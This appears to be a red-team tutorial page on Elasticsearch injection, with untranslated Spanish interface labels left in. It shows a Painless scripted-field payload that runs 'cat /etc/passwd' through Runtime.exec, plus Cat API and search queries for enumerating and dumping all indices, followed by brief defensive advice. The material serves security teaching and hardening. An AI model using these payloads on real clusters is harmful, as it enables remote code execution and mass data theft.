📕 FIELD MANUAL 20.1: ELASTICSEARCH INJECTION (THE DATA LAKE)
Objective: Let's explore NoSQL search engines (Elastic/Opensearch) to exfiltrate Big Data or execute remote code (RCE).
Classification: RED TEAM EYES ONLY
Objective: Let's explore NoSQL search engines (Elastic/Opensearch) to exfiltrate Big Data or execute remote code (RCE).
1. INTEL & RECON: JSON QUERIES
Sección titulada «1. INTEL & RECON: CONSULTAS JSON»Elasticsearch uses JSON over HTTP (Port 9200). It is often unauthenticated or accessible via SSRF.
Legitimate Query: GET /_search?q=user:admin
2. WEAPONIZATION: PROGRAMMING
Sección titulada «2. ARMAMENTO: PROGRAMACIÓN»TECHNIQUE: Scripted Fields (Painless/Groovy)
Sección titulada «TÉCNICA: Campos Scripteados (Painless/Groovy)»Elastic allows us to execute scripts to calculate dynamic fields. If we can inject into the script, we have RCE.
-
Payload (Java/Painless):
Ventana de terminal {"script_fields": {"myscript": {"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}(Note: Modern versions of Elastic have strong sandboxes, but older or misconfigured versions are vulnerable).
TECHNIQUE: Index Enumeration (Cat API)
Sección titulada «TÉCNICA: Enumeración de Índices (Cat API)»If we have access to the REST API (via SSRF or direct):
/_cat/indices?v-> We will list all databases (indices)./_search?q=*&size=1000-> We will dump everything.
3. PURPLE TEAM PERSPECTIVE (DEFENSE)
Sección titulada «3. PERSPECTIVA DEL EQUIPO PURPLE (DEFENSA)»- Defense:
- Authentication: We will never expose port 9200 without authentication/TLS.
- Disable Scripts:
script.allowed_types: noneinelasticsearch.yml. We must disable scripts to prevent code injection.

